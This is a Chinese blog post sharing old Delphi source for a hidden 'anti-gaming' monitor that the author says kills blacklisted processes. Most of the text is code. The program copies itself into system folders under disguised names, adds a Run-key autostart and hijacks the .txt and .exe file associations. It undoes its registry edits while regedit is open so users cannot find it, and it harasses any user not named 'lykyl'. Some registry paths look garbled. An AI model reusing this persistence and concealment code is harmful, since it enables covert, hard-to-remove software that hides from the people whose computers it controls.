DELPHI实现关闭指定进程，自身防杀

偶然翻到很久以前用DELPHI写的一个小程序，实现功能是在后台默默关闭符合条件的进程，并隐藏自身。编写目的是为了防止办公电脑运行游戏。

实现原理是：

1、程序运行后将自身以不同的名称一式三份存到系统各目录中，将其中一个COPY写到注册表里开机自启动，然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY，达到监控目的。

2、程序一但激活首先会确认各COPY是否存在以及注册表关联是否正常，然后再检查系统是否运行在禁止名单中的进程，发现就杀死。

3、如果程序监控到用户运行regedit则会将注册表改回正常值，当regedit退出后再将修改写回，以防用户发现。（这在杀毒软件还很落后的年代效果还是相当好的）

4、程序保留了卸载的功能，代码里有写。

自己感觉挺有意思，把代码发上来留个纪念。

//为了防止一些人上班就玩游戏的恶习所编
program HK;

uses
  Windows,
  Messages,
  SysUtils,
  System,
  Classes,
  Registry,
  Forms,
  Controls,
  LoadDLL in 'LoadDLL.pas';
  
var
  I:Integer;
  SPath,WPath:PCHAR;
  pa:string;
  hnd: THandle;
  sp:boolean;
  sFileName:String;


//function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;

//function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';

procedure procRun(exeName,exePath:PChar;trace:boolean);
var
  SUInfo: TStartupInfo;
  ProcInfo: TProcessInformation;
begin
FillChar(SUInfo, SizeOf(SUInfo), #0);
with SUInfo do
  begin
    cb := SizeOf(SUInfo);
    dwFlags := STARTF_USESHOWWINDOW;
    wShowWindow :=1;
  end;
if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
  begin
    if trace then
      WaitForSingleObject(ProcInfo.hProcess, INFINITE);
    CloseHandle(ProcInfo.hProcess);
    CloseHandle(ProcInfo.hThread);
  end;
end;

procedure procSetReg(rest:boolean);
var
   Reg:TRegistry;
begin
   Reg:=Tregistry.Create;
   try
   if rest then
   begin
     reg.rootkey:=HKEY_CLASSES_ROOT;
     if reg.OpenKey('	xtfileshellopencommand',true) then
        reg.WriteExpandString('',WPath+'NOTEPAD.exe %1');
     reg.closekey;
     if reg.OpenKey('exefileshellopencommand',true) then
        reg.WriteExpandString('','"%1" %*');
     reg.closekey;
     reg.RootKey:=HKEY_LOCAL_MACHINE;
     if reg.openkey('SoftwareMicrosoftWindowsCurrentVersionRun',True) then
        reg.DeleteValue('SysOleRun');
      reg.closekey;
   end
   else
   begin
      reg.RootKey:=HKEY_LOCAL_MACHINE;
      if reg.openkey('SoftwareMicrosoftWindowsCurrentVersionRun',True) then
          reg.writestring('SysOleRun',spath+'ObjDDC.exe');
      Reg.CloseKey;
      reg.rootkey:=HKEY_CLASSES_ROOT;
      if reg.OpenKey('	xtfileshellopencommand',true) then
          reg.WriteExpandString('',spath+'WinODBC.exe %1');
      reg.closekey;
      if reg.OpenKey('exefileshellopencommand',true) then
          reg.WriteExpandString('',spath+'OLEDevice.exe %1 %*');
      reg.closekey;
   end;
  finally
    Reg.Free;
  end;
end;

procedure BeepEx(feq:word=1200;delay:word=1);

  procedure BeepOff;
   begin
     asm
       in al,$61;
       and al,$fc;
       out $61,al;
     end;
  end;
const
  scale=1193180;
var
  temp:word;
begin
  temp:=scale div feq;
  asm
    in al,61h;
    or al,3;
    out 61h,al;
    mov al,$b6;
    out 43h,al;
    mov ax,temp;
    out 42h,al;
    mov al,ah;
    out 42h,al;
  end;
  sleep(delay);
  beepoff;
end;

procedure UserPass();
var
   a,b:integer;
   t:longword;
   UserName:PCHAR;
begin
   if sp then
      begin
       t:=255;
      GetMem(UserName,255);
      try
        getusername(UserName,t);
        if UserName<>'lykyl' then
          begin
             messagebox(0,'非法用户，操作限制！','系统警告！',MB_OK);
             for a:=1 to 1 do
              begin
              SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
               for b:=1 to 2 do
                 begin
                      BeepEx(1500,200);
                      beepex(3000,200);
                 end;
               SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
               messagebox(0,'非法用户身份确定','系统警告！',MB_OK);
              end;
          end;
        finally
          freemem(UserName);
        end;
      end;
end;
  {$R *.RES}

begin
   hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
   if GetLastError = ERROR_ALREADY_EXISTS then
      sp:=false
   else
      sp:=true;
  //RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);
  GetMem(SPath,255);
  GetMem(WPath,255);
  GetSystemDirectory(SPath,255);
  GetWindowsDirectory(WPath,255);
  SetLength(sFileName,255);
  GetModuleFileName(GetCurrentProcess,Pchar(sFileName),255);
  sFileName:=Pchar(sFileName);
  try
    if ExtractFileName(sFileName)='lykyl.exe' then
       procSetReg(true)
    else
    begin
    Copyfile(pchar(sFileName),pchar(spath+'WinODBC.exe'),false);
    Copyfile(pchar(sFileName),pchar(spath+'OLEDevice.exe'),false);
    Copyfile(pchar(sFileName),pchar(WPath+'ObjDDc.exe'),false);
    procSetReg(false);
    for i:=1 to ParamCount do
        if i=1 then
           pa:=ParamStr(i)
        else
           pa:=pa+' '+ParamStr(i);
    if Pa <>'' then
      begin
          if ExtractFileName(sFileName)='WINODBC.EXE' then
            begin
              UserPass();
              procRun(PChar(WPath+'NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'')),false);
            end
          else
              if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
               begin
                  UserPass();
                  if AnsiStrPos(pchar(pa),'regedit')<>nil then
                     begin
                          procSetReg(true);
                          procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
                          procSetReg(false);
                     end
                  else
                     begin
                         procRun(PChar(pa),pchar(extractfilepath(pa)),false);
                     end;
               end;
      end;
      end;
  finally
    freemem(SPath);
    freemem(WPath);
    if hnd <> 0 then CloseHandle(hnd);
//    RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);
  end;
end.